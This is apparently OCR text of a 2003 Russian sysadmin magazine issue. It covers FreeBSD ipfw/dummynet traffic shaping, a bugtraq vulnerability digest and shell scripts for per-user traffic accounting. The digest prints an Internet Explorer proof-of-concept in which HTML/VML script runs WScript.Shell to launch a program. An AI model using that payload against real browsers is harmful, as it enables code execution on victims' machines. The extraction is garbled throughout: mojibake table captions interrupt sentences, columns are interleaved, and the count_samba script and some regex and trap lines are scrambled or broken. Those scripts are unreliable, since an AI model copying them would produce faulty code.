Регулировка величины трафика Что такое регулировка трафика, и зачем она нужна В простейшем случае задача регулировки трафика формулируется так: через наш шлюз проходит информаци-

Òàáëèöà 4. Îïöèè natd.

№6(7), июнь 2003

администрирование онный поток A величной V(A). Мы хотим ограничить этот поток каким-нибудь значением Vmax. То есть, грубо говоря, сделать так, чтобы все, что выходит за пределы зачения Vmax, попросту уничтожалось1. Каждому потоку назначается специальный буфер, работающий по принципу очереди. Буфер наполняется с той скоростью, с какой в него поступают данные (Vin), а опустошается со скоростью, не превышающей заданную (Vout). В том случае, если Vin находится в допустимых пределах, поток проходит через буфер в полном объеме. Если же буфер наполняется быстрее, чем опустошается, может наступить такой момент, когда он будет полностью заполнен и вновь поступающие данные будут попросту уничтожаться. Можно не только ограничивать трафик, но и вносить, например, задержку в него, или уничтожать пакеты с заданной вероятностью. Как правило, это делается для решения каких-либо экспериментаторских задач, но иногда может быть полезно и в чисто практических целях. Средства, которые управляют трафиком подобным образом, называют трафик-шейперами (traffic-shaper), формирователями или регулировщиками трафика.

которые в этом случае должны были быть указаны как дополнительные аргументы команды парами параметр значение. Для того чтобы ограничить поток даных, который передается из Интернета на машину в сети, нужно регулировать исходящий поток со шлюза на эту машину. В том случае, когда нужно ограничить скорость передачи информации из Интернета на хост, находящийся в локальной сети, следует изменять скорость исходящего потока. То есть скорость того потока, который уходит со шлюза на хост. Нельзя уменьшить скорость, с которой данные передаются из Интернета. Это вызывает вопрос: зачем уничтожать информацию после того, как она уже попала в нашу сеть? Ведь она уже прошла по входящему каналу и уже заняла там какое-то место? Все действительно так, но в этом случае в силу вступают механизмы регулирования потока TCP, которые не позволят в следующий раз отправлять хосту информации больше, чем он способен принять. Òàáëèöà 5. Ïàðàìåòðû êàíàëà dummynet.

Трафик-шейпер в FreeBSD В состав ядра FreeBSD входит модуль dummynet, который позволяет эмулировать канал связи, обладающий ограниченной полосой пропускания; задержкой распространения; вероятностью потери пакета; очередью пакетов заданного размера. Этот модуль можно использовать в качестве трафикшейпера.

Просмотреть информацию о канале можно с помощью команды: # ipfw pipe 1 list

Настройка трафик-шейпера Настройка трафик-шейпера на основе dummynet производится с помощью утилиты ipfw. Для того чтобы направить какой-либо трафик через канал dummynet, нужно: создать канал; указать, какой именно трафик должен быть в канал направлен; настроить канал на работу с заданными параметрами. Два первых шага совмещаются в одном и выполняются командой ipfw add pipe. Например, команда: # ipfw add pipe 1 tcp from any to 192.168.15.1 out

создает канал 1 (pipe 1) и направляет через него весь tcpтрафик, отправленный не важно кем (from any) хосту 192.168.15.1 (to 192.168.15.1); при этом трафик должен быть исходящим (out). Для того чтобы настроить сам канал pipe, нужно дать команду ipfw pipe. Например, команда: # ipfw pipe 1 bw 10KB

ограничивает полосу пропускания канала pipe 1 значением 10 Кб/с. Канал мог бы иметь и другие параметры,

Она выдает не только сведения о канале, но и о соединениях, которые проходят через этот канал.

Учет трафика Учет трафика выполняется с помощью системы фильтрации пакетов IPFW. Собственно, подсчитывать трафик – это еще одна задача этой подсистемы. Все пакеты, которые соответствуют какому-либо правилу автоматически учитываются системой фильтрации. Посмотреть, чему равны счетчики для каждого из правил можно командой ipfw: # ipfw -a list 65535 4386 844198 allow ip from any to any

Ключ -a команды заставляет ее показывать не только список правил, но и счетчики каждого из них. Строка содержит три числа: номер правила (65535), количество пакетов (4386) и байт (844198), которые совпали с правилом. Если все, что нужно сделать с трафиком, – это подсчитать его (то есть к нему не нужно применять никаких других действий, для данного типа трафика у филь-

администрирование тра нет специального правила), следует использовать действие count. Например, для того чтобы подсчитать весь трафик, который направляется из подсети 192.168.15.0 и который проходит через даный хост, нужно добавить правило:

Òàáëèöà 6. Îïöèè êîíôèãóðàöèè ÿäðà, îòíîñÿùèåñÿ ê ôèëüòðó ïàêåòîâ.

# ipfw add count ip from 192.168.15.0/24 to any

Это правило не затронет никаких остальных правил фильтрации, которые идут за ним. Например, если далее явным образом разрешается прохождение трафика с 192.168.15.1 и запрещается с 192.68.15.2, они будут работать как и до этого. Правила подсчета трафика лучше всего ставить в начало цепочки, то есть там, где они учтут все пакеты, даже те из них, которые будут после отброшены.

Работа с ipfw Настройка ядра для поддержки ipfw Для того чтобы ядро выполняло фильтрацию пакетов, нужно, чтобы в его состав были включены соответствующие модули. Для этого необходимо поправить файл конфигурации ядра и пересобрать ядро системы. В файле /usr/src/sys/ i386/conf/ВАШЕ_ЯДРО нужно добавить такие строки: options options options options

IPFIREWALL IPFIREWALL_VERBOSE IPFIREWALL_VERBOSE_LIMIT=10 IPFIREWALL_DEFAULT_TO_ACCEPT

и пересобрать его. Последние три опции являются необязательными. Первая опция должна использоваться всегда, если нужно включить поддержку ipfw в ядро. Для поддержки модуля dummynet нужно добавить опцию DUMMYNET в конфигурационный файл ядра: options DUMMYNET

Дополнительные параметры, которые могут быть полезны при тонкой настройке dummynet, это NMBCLUSTERS и HZ. Первый позволяет указать объемы сетевых буферов, а второй – точность (granularity) таймера. Если шлюз выполняет трансляцию адресов с помощью демона natd, нужно чтобы ядро могло обеспечить передачу ему пакетов с помощью так называемых divert-сокетов. Поддержка divert-советов в ядре включается с помощью опции IPDIVERT: options IPDIVERT

После того как конфигурация ядра изменена, его пересборку и инсталляцию можно выполнить командами: # # # # # #

/usr/sbin/config ÂÀØÅ_ßÄÐÎ cd ../compile/ÂÀØÅ_ßÄÐÎ cd ../../compile/ÂÀØÅ_ßÄÐÎ make depend make make install

№6(7), июнь 2003

Настройка ipfw и natd при загрузке Настройки пакетного фильтра, которые выполняются при помощи утлиты ipfw, действительны только до перезагрузки. Для того чтобы сделать их постоянными, необходимо, чтобы фильтрация настраивалась каждый раз при загрузке системы. Напомним, что конфигурация загрузки системы определяется файлом /etc/rc.conf. В нем описываются переменные, которые сообщают загрузочным скриптам, как они должны себя вести. Для того чтобы повлиять на работу загрузочных скриптов, следует изменять значения переменных, устанавливаемых в этом файле. При запуске машины главный загрузочный скрипт /etc/ rc.conf вызывает скрипт настройки сети /etc/rc.network2; он, в свою очередь, вызывает /etc/rc.firewall. Скрипт /etc/ rc.firewall выполняет настройку брандмауэра. В FreeBSD описано несколько типовых конфигураций брандмауэра. Типовая конфигурация выбирается с помощью переменной firewall_type. OPEN Брандмауэр пропускает все пакеты. CLIENT Брандмауэр настроен так, как должен быть настроен стандартный клиентский компьютер. Он разрешает все исходящие соединения, и запрещает все входящие соединения, кроме соединений по 25 порту. Брандмауэр: пропускает пакеты, которые отправляются хостом ${ip} в локальную сеть {net}:{mask}; разрешает все исходящие соединения с хоста; разрешает все входящие соединения на 25 порт; запрещает все остальные входящие TCP-соединения; разрешает прохождение UDP-пакетов по портам DNS (53) и NNTP (123); все остальные пакеты рассматриваются правилом по умолчанию, которое определяется конфигурацией ядра.

администрирование SIMPLE

Простеший брандмаэур, защищающий локальную сеть от проникновения из Интернета. Правила фильтрации точно такие же, как и в CLIENT, но: Есть поддержка natd. Выполняется передача IP-пакетов на divert-сокет демона natd при условии, что natd_enable=YES; Выполняется защита от IP-спуфинга. Пакеты, которые имеют адреса, предназначенные для использования внутри локальных сетей 10.x.x.x, 172.16.x.x172.31.x.x, 192.168.x.x. (RFC 1918), не пропускаются по внешнему интерфейсу. Также удаляются пакеты из внешней сети, которые имеют адрес возврата из сети внутренней.

Адреса внутренней {inet}:{imask} и внешней {onet}:{omask} сети, а также адреса внутреннего ${iif} и внешнего ${oif} интерфейсов указываются в файле /etc/rc.firewall. Значения ${ip}, ${net} и ${mask} следует вручную устанавливать в файле /etc/rc.firewall. CLOSED Разрешается только трафик через локальный интерфейс lo0. Прохождение остального трафика определяется правилом по умолчанию. Брандмауэр в режиме CLOSED закрыт только в том случае, если правило по умолчанию установлено ядром в deny. UNKNOWN Брандмауэр никак не настраивается. Будет он пропускать трафик или нет, определяется конфигурацией ядра системы. Используется по умолчанию. файл Правила брандмауэра загружаются из внешнего файла. Имя файла определяется значением переменной firewall_type. Дополнительные аргументы ipfw могут быть переданы с помощью firewall_flags. Файл должен содержать команды ipfw в том виде, в каком они указываются в его командной строке. Например: add deny icmp from any to any add deny ip from 1.2.3.4 to any allow tcp from any to any established

В простейших случаях можно воспользоваться одним из этих вариантов, но если нужна более тонкая настройка, придется описывать правила фильтрации самостоятельно. Нужно создать файл, содержащий правила фильтрации и указать имя этого файла в качестве firewall_type. Если нужно, чтобы шлюз выполнял трансляцию адресов, в /etc/rc.conf следует указать natd_enable=YES. Это приведет к тому, что при загрузке автоматически будет запускаться демон natd. Нужно указать еще natd_interface, для того чтобы natd знал, какой интерфейс является внешним, и natd_flags="-f /etc/natd.conf", чтобы natd знал, откуда ему брать свою конфигурацию. Можно описать конфигурацию natd прямо в этой строке и не выносить ее во внешний файл.

Изменения конфигурации фильтра пакетов вступят в силу после перезагрузки компьютера. Чтобы они стали действительными прямо сейчас, можно выполнить3: # sh /etc/rc.conf /etc/rc.firewall

При удаленном администрировании нужно быть осторожным, чтобы нечаянно не закрыть себе доступ к хосту. Òàáëèöà 7. Íåêîòîðûå ïàðàìåòðû /etc/rc.conf.

Дополнительная информация 1. 2. 3. 4.

ipfw (8) – руководство пользователя программы ipfw. natd (8) – руководство пользователя программы natd. dummynet (4) – описание модуля dummynet. http://info.iet.unipi.it/~luigi/ip_dummynet/ – домашняя страница проекта dummynet. 5. http://www.freebsd-howto.com/HOWTO/Ipfw-HOWTO – IPFW HOWTO: исчерпывающее руководство по использованию IPFW в FreeBSD. 6. http://www.freebsd-howto.com/HOWTO/Ipfw-HOWTO – NAT HOWTO: руководство по трансляции адресов с помощью natd в FreeBSD. 7. http://www.deadly.org/article.php3?sid=20030325141427 – PF for FreeBSD 5.0 1

natd_enable="YES" natd_inteface="lnc0" natd_flags="-f /etc/natd.conf"

В действительности задача управления трафиком значительно сложнее, но даже такая упрощенная формулировка является полезной и позволяет решить множество практических задач. Точнее, функции, которые в нем описаны. Скрипт не делает ничего, кроме того, что описывает несколько функций инициализации сети. Вот почему запуск sh /etc/rc.network сам по себе ничего не дает. При трансляции адресов скрипт /etc/rc.firewall не запускает natd, а только настраивает divert-правила. Нужно запустить его вручную, но при этом не забыть аргументы.

bugtraq DoS против Cisco ONS

Две уязвимости в Eserv

Несколько FTP- и Telnet-уязвимостей обнаружены в Cisco ONS для Cisco ONS15454, ONS15327, ONS15454SDH и ONS15600 оптических сетевых компонентов. Удаленный пользователь может перезагрузить карту управления устройством. Сообщается, что удаленный пользователь может послать специально обработанный FTP- или Telnet-пакет к интерфейсу управления устройством, который заставит перезагрузиться карты управления TCC+, XTC, TCCi или TSC. Уязвимость обнаружена в Cisco ONS15454 Optical Transport Platform, Cisco ONS15327 Edge Optical Transport Platform, Cisco ONS15454SDH Multiplexer Platform и Cisco ONS15600 Multiservice Switching Platform.

Две уязвимости обнаружены в Eserv. Удаленный пользователь может использовать веб- и FTP-сервис как прокси. Удаленный пользователь может также просматривать содержание веб-директорий. Damage Hacking Group сообщает, что удаленный пользователь может представить следующий HTTP-запрос, чтобы просмотреть содержание веб-директории:

Выполнение произвольного кода сценария в зоне "My Computer" в Internet Explorer Уязвимость обнаружена в Microsoft Internet Explorer (IE). Удаленный пользователь может сконструировать HTML, который при загрузке в браузере целевого пользователя выполнит произвольный код сценария на системе целевого пользователя в зоне безопасности "My Computer". Удаленный пользователь может сконструировать следующий HTML, который может обратиться к Web Folder целевого пользователя: <body onload=malware() style="behavior:url(#default#httpFolder);"> <script> function malware(){document.body.navigate ("http://www.microsoft.com");} </script>

Если Web Folder не существует, во временной папке будет создан файл ошибки 'wecerr.txt' (скриншот здесь: http://www.malware.com/behave.png). Содержание файла может быть определено удаленным пользователем. Удаленный пользователь может заставить Windows Media Player создать HTML IFRAME, содержащий asf media файл, который загрузит временный локальный файл (mhtml:file://C:\WINDOWS\TEMP\wecerr.txt). Так как Windows Media Player запущен локально, локальный файл будет открыт. HTML-код будет открыт как “Temporary Internet File”. Однако эту меру защиты можно обойти, если создать второй wecerr.txt файл (перезаписывая первый) в это время с другим (и злонамеренным) содержанием типа: <xml xmlns:v = "urn:schemas-microsoft-com:vml"> <v:rect id="malware" fillcolor="red" style="position:relative;top:1;left:1;width:20;height:20" onmouseover="javas cript:alert(document.location);var wsh=new ActiveXObject('WScript.Shell');wsh.Run('telnet.exe');''"> </v:rect> </xml>

Поскольку VML-фрейм записан поверх первоначального файла wecerr.txt, VML-фрейм может быть обработан IE. Поскольку извлеченный HTML-файл был первоначально извлечен локально, код будет выполнен в зоне безопасности "My Computer". Уязвимость обнаружена в Microsoft Internet Explorer 5.5-6.0.

№6(7), июнь 2003

GET /? HTTP/1.1

Также сообщается, что удаленный пользователь может использовать HTTP- и FTP-сервис как прокси-сервер, даже если используется авторизация паролем или если прокси-сервер отключен. По словам производителя, эта уязвимость не существует в заданной по умолчанию конфигурации. Уязвимость обнаружена в Eserv 2.95 - 2.99.

Утечка памяти в 3Com OfficeConnect DSL Router позволяет удаленному пользователю просматривать предыдущие HTTP-запросы Утечка памяти обнаружена в OfficeConnect Remote 812 ADSL Router. Удаленный пользователь, способный контролировать сеть, может просматривать предыдущие HTTP-запросы. Удаленный пользователь, способный контролировать сетевой трафик для DHCP-пакетов, может просматривать предыдущие HTTP-запросы, обработанные маршрутизатором (даже если удаленный пользователь не способен просматривать первоначальные HTTP-запросы). Сообщается, что пакеты DHCP-ответа включают DHCP-данные, записанные поверх предыдущих HTTP-запросов, включая POST-запросы со значением полей и данных. Уязвимость обнаружена в 3Com OfficeConnect DSL Router, firmware version 1.1.7.

Переполнение буфера в Encrypted Virtual File System позволяет локальному пользователю получить root-привилегии Переполнение буфера обнаружено в Encrypted Virtual File System (EVFS). Локальный пользователь может выполнить произвольный код с root-привилегиями. Сообщается, что локальный пользователь может подключить каталог, используя EVFS со специально обработанными параметрами 'from', 'to', и 'password', чтобы вызвать переполнение буфера. На системах, в которых утилита конфигурирована с set user id (setuid) root-привилегиями, локальный пользователь может выполнить произвольный код с root-привилегиями. Уязвимость обнаружена в Encrypted Virtual Filesystem (EVFS) 0.2.

Составил Александр Антипов

администрирование

СКРИПТЫ ДЛЯ ПОДСЧЕТА ТРАФИКА: ПРИМЕР РЕАЛИЗАЦИИ В FreeBSD

Среди прочих задач системного администратора «написание скриптов» занимает немало места. Но существует эта задача не сама по себе, а в качестве средства автоматизации, призванного свести объем рутинной работы к минимуму. Вместе с тем сам язык, на котором пишутся скрипты (а в данной статье пойдет речь о Bourne shell), достаточно развит, чтобы перевести скрипты из разряда «набора команд» для оптимизации в разряд небольших программ, выполняющих в системе полезные функции. Более того, во многих случаях применение именно этого языка наиболее оправданно, поскольку позволяет упростить до предела изначально сложные задачи.

ДЕНИС ПЕПЛИН 36

администрирование Довольно часто с помощью скриптов решается задача учета трафика. Они могут применяться не только для обработки выходных данных, но и для настройки параметров учета. В качестве примера можно привести программу ipa, которая считает трафик по правилам ipfw или ipf. Если количество правил невелико и меняется редко, то и сами правила и параметры настройки ipa несложно добавить вручную. Другое дело, если количество правил достигает нескольких десятков или больше, и они часто меняются. Крайний случай такой ситуации – динамическое распределение IP-адресов. Причём это не обязательно dhcp: в условиях офиса не всегда за каждым пользователем закреплено отдельное рабочее место, и распределение адресов по пользователям приобретает некоторую динамичность. В таких условиях в большинстве случаев наиболее целесообразным выглядит установка прокси-сервера (например, Squid+ntlm) и учет проходящего через него трафика. С точки зрения иерархии сети трафик проходит через прикладной уровень стека TCP/IP и подсчитывается именно там. Действительно, это самый очевидный способ: такое понятие, как «пользователь», появляется именно на прикладном уровне. На сетевом уровне никаких пользователей нет, есть лишь IP-адреса. Именно поэтому попытки посчитать трафик по пользователям на сетевом уровне приносят лишь проблемы. Ведь адрес нельзя закрепить именно за пользователем, можно лишь закрепить его за отдельным компьютером и надеяться, что пользователь не пересядет на другое место, а на его место не сядет другой. Применение dhcp в этом случае также нужно исключить. Не совсем стандартный путь – применение информации, полученной с прикладного уровня, для учета трафика на сетевом уровне. Объем этой информации должен быть минимален: необходимо лишь связать имя пользователя с IP-адресом компьютера, на котором он работает. Для первоначального конфигурирования потребуется список вида: user1 192.168.0.11 user2 192.168.0.123 ...

Для последующей динамической перенастройки достаточно зафиксировать факт входа в сеть (выхода из сети) и все те же имя и адрес. Если обозначить вход/выход знаками +/-, получится список вида: + user3 192.168.0.98 - user2 192.168.0.123 ...

Его можно обобщить и на случай первоначального конфигурирования, тогда перед каждой строкой будет знак “+”. Сам процесс динамического переконфигурирования системы учета трафика таким образом разделяется на два этапа: сбор информации согласно приведенному выше протоколу и собственно настройка системы учета. Наличие минимального одностороннего протокола не

№6(7), июнь 2003

только позволяет разделить скрипт на две части, но даже в случае необходимости разнести эти части по разным серверам в случае, если программное обеспечение, регистрирующее вход пользователей, и шлюз во внешнюю сеть располагаются на разных серверах. Разделение скрипта на части полезно еще и по соображениям сохранения простоты каждой из частей. Несмотря на то что скриптовый язык довольно развит, при написании скриптов рекомендуется придерживаться так называемого принципа KISS (Keep It Simple Stupid). Чем примитивнее скрипт, тем меньше вероятность того, что в нем допущены ошибки. Сложные конструкции не приветствуются. В отличие от языков более низкого уровня (например, C), скрипты идеально подходят для организации взаимодействия программ. Именно это их качество помогает решать сложные задачи простыми способами – несравнимо проще, чем это можно было бы сделать на том же C. Хорошей иллюстрацией этому утверждению может послужить, к примеру, задача сбора информации на прикладном уровне. Зачастую в качестве контроллера домена NT-сети применяется пакет Samba. Как известно, он помогает вообще избавиться от серверной ОС Windows во многих случаях. В составе пакета Samba есть программа smbstatus. С ее помощью можно получить список подключений к сетевым ресурсам и информацию о блокировках файлов. Формат данных, выдаваемых этой программой, примерно такой: Data store user group 76905 buhgalter (192.168.0.3)↵ Fri Apr 11 15:25:38 2003 76905 DENY_WRITE 0x20089 RDONLY EXCLUSIVE+BATCH ↵ /pub/file.txt Thu Apr 11 17:30:46 2003

Перевести эти данные в список подключенных пользователей можно с помощью следующего скрипта (назовем его count_samba): #!/bin/sh smbstatus | grep -E | colrm 1 13 | grep | awk '{printf(" %s | sort | uniq | sed

"([0-9]{1,3}\.){3}[0-9]{1,3}" \ -v -E "^nobody|^root" \ %s\n",$1,$5)}' \ 's/[()]//g'

Данные от smbstatus преобразуются последовательностью утилит: сначала выбираются строки с IP-адресами, затем удаляется информация об именах ресурсов, удаляются строки с пользователями nobody и root, выводится информация о пользователе и адресе, которая затем сортируется, повторяющиеся строки удаляются и, наконец, удаляются скобки вокруг IP-адреса. Символ “|” означает связывание программ с помощью канала (pipe), то есть стандартный вывод предыдущей программы связывается со стандартным вводом последующей. Это простейшее средство однонаправленного межпроцессного взаимодействия довольно широко применяется в Unix именно из-за своей простоты. Как известно, чем проще инструмент, тем он надежнее – каналы как раз и есть этот простой и надежный инструмент. Од-

администрирование ной из основ идеологии Unix является использование нескольких простых утилит, связываемых через такие каналы, вместо одной большой и сложной программы (разумеется, только в тех случаях, когда этого достаточно для решения поставленной задачи). Символ “\” в конце строки указывает sh считать следующую строчку продолжением предыдущей. Можно, конечно, написать все в одну строчку, но в таком случае читабельность скрипта уменьшится. В примере выше каждая из используемых утилит обрабатывает входной поток построчно. Посмотреть, как изменяются данные от одной программы к другой, можно последовательно подсоединяя к выходному потоку по одной программе, выстраивая их в цепочку. Программа grep выбирает линии, соответствующие указанному регулярному выражению. Ключ -E используется вместе с расширенными регулярными выражениями. Выражение "([0-9]{1,3}\.){3}[0-9]{1,3}" соответствует любому IP-адресу, а «^nobody|^root» – строкам, начинающимся с «nobody» или «root» (символ “|” здесь означает ИЛИ). Ключ -v указывает выбирать строки, не соответствующие заданному регулярному выражению. Подробнее о регулярных выражениях можно почитать на странице руководства grep(1). Awk представляет собой язык программирования, предназначенный для работы с таблицами. Несмотря на то что язык этот не самый простой, в нашем случае awk вполне подходит под определение простой утилиты. Все дело в том, как awk обрабатывает входной поток: каждая строка разбивается на поля, значения которых присваиваются внутренним переменным awk $1, $2 и т. д. по числу полей. Разделителем полей по умолчанию служат пробелы или табуляция. Воспользовавшись этим свойством awk, можно легко оставить в каждой строке только первое и пятое поле (имя пользователя и адрес), напечатав их встроенной функцией printf (значение пробела в начале строки будет пояснено позже). Вмешивается в эту идиллическую картину только имя ресурса, которое может содержать пробелы (как в примере выше) и с точки зрения awk состоять из нескольких полей. Поскольку в выводе smbstatus имя ресурса занимает фиксированное число символов, его можно удалить с помощью colrm, параметрами которой служат номера первой и последней колонки текста, которые нужно удалить (colrm каждый символ в строке воспринимает как отдельную колонку). Sort и uniq в отдельном пояснении не нуждаются, их назначение полностью понятно из названия, а вот sed более интересен. Это потоковый редактор (Stream EDitor), который помимо всего прочего может заменять соответствующие заданному регулярному выражению подстроки. В приведенном примере это встроенная команда sed “s” (substitute), регулярное выражение “[()]” соответствует символам “(“ и “)”, которые заменяются на “”, то есть просто удаляются. Ключ “g” указывает заменять все символы в строке, попадающие под регулярное выражение, а не только первый.

Полученных данных вполне достаточно для первоначальной настройки системы учета трафика, для динамической переконфигурации потребуется информация в формате «+/- user address». Далеко не самое изящное решение, но, очевидно, в данной ситуации самое простое – сохранять информацию о текущих подключениях, а затем через некоторый промежуток времени сравнивать со вновь полученной информацией. Очень подходит для этой цели diff. Весь скрипт выглядит так (файл count_user): #!/bin/sh count_list="samba pppd" sleeptime=20 TMPDIR="/var/tmp" export TMPDIR tmpfile=`mktemp -q -u -t count` || exit 1 cleanup () { rm -f $tmpfile.? } trap : 1 trap : 2 trap : 15 set -T trap "cleanup; exit" 1 2 15 bindir=$(dirname $0) || exit 1 count_eval="" for progname in $count_list do if [ $count_eval ] ; then count_eval="$count_eval ; $bindir/count_$progname" else count_eval="$bindir/count_$progname" fi done count_num=0 touch $tmpfile.$count_num while [ ! ] do if ! ps $PPID >/dev/null 2>&1 then echo "Parent process died. Cleanup and exit." >&2 break fi count_old=$count_num test $count_num -eq 1 count_num=$? eval $count_eval | tee $tmpfile.$count_num \ | diff -b -u $tmpfile.$count_old - \ | grep "^[+-] [a-z]" | sort -r sleep $sleeptime done cleanup

Основная содержательная часть скрипта уместилась на трех строчках: текущее состояние сравнивается с предыдущим с помощью diff, вывод которой фильтруется grep и сортируется в обратном порядке (так что сначала пойдут строки с “-”, а затем “+”. Далее следует задержка на несколько секунд, после чего сравнение повторяется. Имя временного файла выбирается один раз, файлы текущего и предыдущего состояния отличаются расширениями 0 или 1. Перехват прерываний необходим для удаления временных файлов по завершении работы. В качестве источника данных о подключениях используются сразу два скрипта: count_samba и count_pppd. Возможно, что для учета трафика пользователей, подключен-

администрирование ных через удаленный доступ, лучше было бы использовать сам pppd, но скрипт count_pppd – очень неплохой пример того, как просто использовать для получения списка пользователей не только samba, но и любое другое приложение, способное выдать такой список. В данном случае это who, а адреса берутся из /etc/ppp/options.<ttyname>:

#!/bin/sh who | awk '{if(substr($2,1,4)=="cuaa")↵ printf("%s %s\n",$1,$2)}' | while read user ttyname do grep ":" /etc/ppp/options.$ttyname \ | awk -F: '{printf(" %s %s\n",user,$2)}' user=$user done

Предполагается, что в данном случае за каждым портом закреплен свой IP-адрес. Для хранения временных файлов используется специальный каталог с правами 1777 («sticky» бит). Благодаря этому биту только владелец файла, каталога или суперпользователь может удалить или переименовать такой файл. В качестве дополнительной меры безопасности необходимо позаботиться о том, чтобы никто не смог предугадать имя временного файла. Именно эту задачу выполняет mktemp. Каталог выбирается в соответствии с содержимым переменной TMPDIR. Ключ -q указывает не выводить сообщения об ошибках, в случае неудачи при создании файла произойдет выход из скрипта с кодом завершения 1. Ключ -t задает шаблон, к которому в качестве расширения добавляется случайная последовательность символов. Способ, которым инициализируется переменная tmpfile, называется подстановкой – переменной присваивается вывод команды, заключенной в обратные кавычки. Код завершения команды mktemp используется в дальнейшем. Последовательность || здесь означает ИЛИ (не путать с регулярными выражениями). То есть если mktemp завершится неудачно, будет запущена вторая команда, в данном случае «exit 1». Другой часто применяемый способ подстановки – использование конструкции «$()» вместо прямых кавычек. Здесь он используется для инициализации переменной «$bindir». Код завершения – это число, которое равно нулю, если программа завершается успешно или больше нуля, если неудачно. Число это содержится в переменной «$?». Явно эта переменная используется в скрипте, когда нужно поменять местами номера 0 и 1. Проверка на эквивалентность (-eq) единице с помощью команды test дает требуемое значение. Кстати, все ключи команды test являются аббревиатурами, что помогает их запомнить. Код завершения – это именно то, на чем работают в скриптах все управляющие структуры. К примеру, в часто встречающемся [ ] первая скобка – не что иное, как жесткая ссылка на test, а вторая скобка – завершающий параметр этой программы, который работает, когда она вызывается именно как [. Команда [ может быть и встроена в оболочку, но сути дела это не меняет. Таким образом, конструкцию [ ] или test используют

№6(7), июнь 2003

для анализа строк и числовых выражений, а во всех остальных случаях используется непосредственно завершающий код какой-либо программы. Более подробно об использовании test можно прочитать на соответствующей странице руководства. Отсюда следует важное отличие от C: если там «истинным» в управляющих конструкциях считается выражение больше нуля, то в скриптах это, напротив, нуль, поскольку именно он является индикатором успешного завершения программы. Вместе с тем синтаксис управляющих конструкций в целом похож. Сильно отличается разве что цикл for, в котором присутствует конструкция «variable in word ...», позволяющая одинаково легко пройтись по всем файлам каталога, заменив «word» на «*» (при этом «variable» последовательно принимает значение имени каждого файла), или, как в нашем случае, перебрать все поля списка, записанного в переменную. Выражение типа [ $string ] истинно, если строка не пустая. Цикл с [ ! ] в качестве параметра бесконечный, прервать его можно командой break. Пример непосредственного использования кода завершения программы – запуск ps с параметром номера родительского процесса, $PPID. После остановки родительского процесса (ps не может его найти) скрипт завершается. И наконец, eval служит здесь для объединения вывода двух скриптов в один поток для последующей передачи tee, которая дублирует входной поток в указанный файл и в выходной поток, который diff затем сравнивает с ранее сохраненным файлом, показывая только изменения. В скрипте count_pppd список пользователей, полученный от who, преобразуется к виду «user ttyname», который затем в цикле передается read. Назначение read – считывать в переменные строки, разделителями полей в которых служат пробелы (или содержимое переменной IFS, если она установлена). Для того чтобы использовать такую переменную в awk, необходимо сначала присвоить ее значение внутренней переменной awk, конструкция user=$user означает именно это. Ключ -F меняет значение разделителя полей по умолчанию. Несколько более сложная конструкция «if(substr ($2,1,4)=="cuaa")» используется, чтобы выбрать пользователей, зашедших по удаленному доступу. В данном случае именно с помощью awk сделать это проще всего, тогда как для grep потребовалось бы довольно сложное регулярное выражение. В качестве проверки каждый из приведенных скриптов можно запустить по отдельности, результаты своей работы они выдают на стандартный вывод. Скрипт count_user реализует требуемый протокол и отвечает на вопросы «когда, кто, откуда». Это само по себе уже представляет некоторый интерес (не нужно анализировать логи отдельных приложений, чтобы ответить на этот вопрос), но в первоначальной постановке задачи основным вопросом было «сколько». Для ответа на этот вопрос недостаточно просто добавить правила в таблицу ipfw, по-

администрирование требуется организовать взаимодействие между ipfw и ipa. В простейшем случае направление подсчета будет только одно, а значит, достаточно одного правила ipa с одним правилом ipfw внутри (их может быть и больше) на одного пользователя. Очень часто это направление подсчета – входящий трафик из внешней сети к пользователю (количество выкачанных страничек, музыки и проч.). В расчете на одного пользователя эта часть конфигурации ipa получится такой: rule username { ipfw = 32001 }

Номер около 32000 взят неслучайно. Всего в ipfw может быть до 65535 правил (последнее – всегда правило по умолчанию) и этот номер находится примерно посередине таблицы. Скрипт, организующий взаимодействие между ipfw и ipa, в основном выполняет следующую функцию: сопоставление имени пользователя (а значит, и имени правила ipa) с номером правила ipfw. Поскольку конфигурация ipa содержит такое сопоставление, логично производить его на основе этой конфигурации, то есть на ее основе при известном имени пользователя получать его номер. #!/bin/sh bindir=$(dirname $0) || exit 1 connect="$bindir/count_user" #connect="$bindir/count_client 192.168.0.1 27777" count_fw=ipfw count_prog=ipa count_startnum=32000 logfile="/var/log/utcount.log" export count_startnum if [ -f /var/run/count.pid ] && ps `cat /var/run/count.pid` >/dev/null 2>&1 then echo "Another count process already run. Stop it and try again." >&2 exit 1 fi trap : 1 trap : 2 trap : 15 set -T trap "rm -f /var/run/count.pid; exit" 1 2 1 echo -n $$ > /var/run/count.pid || exit 1 $connect | while read action username address do if echo "$action $username $address" \ | grep -E -v -q "^[+-] [a-z].* ([0-9]{1,3}\.){3}[09]{1,3}$" then continue fi usernum=`$bindir/count_$count_prog $action $username` $bindir/count_$count_fw $action $usernum $address echo "[`date '+%d.%m.%y %H:%M'`] $action $username $address $usernum" \ >> $logfile done

Назовем этот скрипт count_gate. От скрипта, собирающего данные о пользователях, они в цикле передаются read через канал, к которому

можно подключить этот скрипт как непосредственно, так и через tcp-клиент. Способ подключения определяет переменная «$connect». Имя скрипта, ответственного за добавление/удаление правил, определяет переменная «$count_fw», а скрипта, осуществляющего взаимодействие с системой учета трафика переменная «$count_prog». В нашем случае это скрипты count_ipfw и count_ipa. Последний, запущенный с параметрами $action и $username, выдает номер правила, которое затем в качестве одного из параметров передается скрипту count_ipfw. Переменная $$ содержит номер процесса скрипта. При запуске скрипт записывает ее значение в файл /var/run/ count.pid. Встроив проверку на соответствие этого значения реально работающему процессу, можно предотвратить запуск более одного процесса count_user. Прежде чем передавать данные на обработку скриптам count_ipa и count_ipfw, с помощью grep производится проверка на соответствие определенному шаблону. Получаемым данным не всегда можно доверять, особенно если они передаются по сети с другого сервера. Тем более, что все действия на стороне шлюза во внешнюю сеть производятся под root (необходимо для добавления/удаления правил ipfw). Собранные данные вместе с датой и временем записываются в лог-файл. Скрипт count_ipa, получив имя пользователя, должен выдать номер правила ipfw. Задача эта не самая простая, но ее можно сильно облегчить, если наложить на файл конфигурации некоторые ограничения. Во-первых, выделить файл конфигурации пользователей в отдельный файл и подключить его соответствующей директивой: include { file(?) = /usr/local/etc/ipa.users }

